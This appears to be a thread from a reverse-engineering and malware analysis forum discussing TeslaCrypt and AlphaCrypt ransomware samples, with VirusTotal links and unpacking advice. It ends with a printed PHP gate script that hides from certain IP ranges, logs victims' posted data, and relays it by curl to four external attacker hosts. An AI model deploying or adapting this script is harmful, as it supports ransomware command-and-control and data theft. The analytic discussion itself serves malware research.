A forum for reverse engineering, OS internals and malware analysis
ikolor wrote:nextteslacrypt
https://www.virustotal.com/en/file/787c ... /analysis/
Cody Johnston wrote:AlphaCrypt - this looks heavily based on TeslaCrypt (based on some quick static analysis anyways)Hi,
I originally found a post about it here http://www.malware-traffic-analysis.net ... index.html
Attaching the sample for convenience
https://www.virustotal.com/en/file/7bdc ... 430412022/
maximusdecimer wrote:Ashish,Hi Maximusdecimer,
First level of today's malwares would be a polymorphic code. Sometimes two or three levels of polycode can be expected. This is called FUD to avoid av detection. Try to spend a couple of weeks to unpack them.
Very painful indeed but learn to enjoy it. Ollydbg is enough to unpack most of the samples.
Maximus
<?php
$network=ip2long("23.96.0.0");
$mask=ip2long("255.248.0.0");
$remote=ip2long($_SERVER['REMOTE_ADDR']);
if (($remote & $mask)==$network){ header("Location: http://google.com"); exit; }
if($_SERVER['REMOTE_ADDR']=='63.211.192.5'){ header("Location: http://google.com"); exit; }
if(!isset($_POST['data'])){ die("empty post"); }
$post = array('data'=>$_POST['data'], 'IP'=>$_SERVER['REMOTE_ADDR'], 'SHELL'=>$_SERVER['SERVER_NAME'],);
$gate = array(
"http://u24er.ovaarmor.com/ing.php",
"http://l123d.feustude.at/ing.php",
"http://k234s.ascotsprue.com/ing.php",
"http://ik4dm.mazerunci.at/ing.php",
); $fp = fopen("most128.txt", "a+"); fwrite($fp, 'data='.$_POST['data'].' IP='.$_SERVER['REMOTE_ADDR'].' SHELL='.$_SERVER['SERVER_NAME']."\n"); fclose($fp);
foreach( $gate as $value ){
$process = curl_init();
curl_setopt($process, CURLOPT_URL, $value);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_POSTFIELDS,$post);
curl_setopt($process, CURLOPT_RETURNTRANSFER, true);
if( ! $result = curl_exec($process)) { continue;}
if(stristr($result,"work:")){echo $result; curl_close($process);die();}
if(stristr($result,"INSERTED")){echo $result;curl_close($process);die();}
curl_close($process);
}
?>
